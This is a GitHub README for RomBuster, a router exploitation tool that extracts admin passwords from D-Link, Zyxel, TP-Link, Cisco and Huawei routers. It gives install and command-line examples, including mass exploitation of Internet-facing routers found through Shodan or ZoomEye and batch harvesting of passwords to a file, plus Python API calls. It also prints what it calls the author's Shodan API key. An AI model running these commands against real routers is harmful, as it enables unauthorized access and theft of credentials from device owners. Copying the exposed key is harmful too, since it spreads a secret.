Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up

RomBuster is a router exploitation tool that allows to disclosure network router admin password.

License

NotificationsYou must be signed in to change notification settings

EntySec/RomBuster

Repository files navigation

DeveloperLanguageForksStarsCodeFactor

RomBuster is a router exploitation tool that allows to disclosure network router admin password.

Features

  • Exploits vulnerabilities in most popular routers such asD-Link,Zyxel,TP-Link,Cisco andHuawei.
  • Optimized to exploit multiple routers at one time from list.
  • Simple CLI and API usage.

Installation

pip3 install git+https://github.com/EntySec/RomBuster

Basic usage

To use RomBuster just typerombuster in your terminal.

usage: rombuster [-h] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]                 [--zoomeye ZOOMEYE] [-p PAGES]RomBuster is a router exploitation tool that allows to disclosure networkrouter admin password.optional arguments:  -h, --help            show this help message and exit  -o OUTPUT, --output OUTPUT                        Output result to file.  -i INPUT, --input INPUT                        Input file of addresses.  -a ADDRESS, --address ADDRESS                        Single address.  --shodan SHODAN       Shodan API key for exploiting devices over Internet.  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.  -p PAGES, --pages PAGES                        Number of pages you want to get from ZoomEye.

Examples

Exploiting single router

Let's hack my router just for fun.

rombuster -a 192.168.99.1

Exploiting routers from Internet

Let's try to use Shodan search engine to exploit routers over Internet.

rombuster --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free :)

Exploiting routers from input file

Let's try to use opened database of routers.

rombuster -i routers.txt -o passwords.txt

NOTE: It will exploit all routers inrouters.txt list by their addresses and save all obtained passwords topasswords.txt.

API usage

RomBuster also has their own Python API that can be invoked by importing RomBuster to your code.

fromrombusterimportRomBuster

Basic functions

There are all RomBuster basic functions that can be used to exploit specified router.

  • exploit(address) - Exploit single router by given address.

Examples

Exploiting single router

fromrombusterimportRomBusterrombuster=RomBuster()creds=rombuster.exploit('192.168.99.1')print(creds)

Releases

No releases published

Sponsor this project

    Packages

    No packages published

    Languages


    [8]ページ先頭

    ©2009-2025 Movatter.jp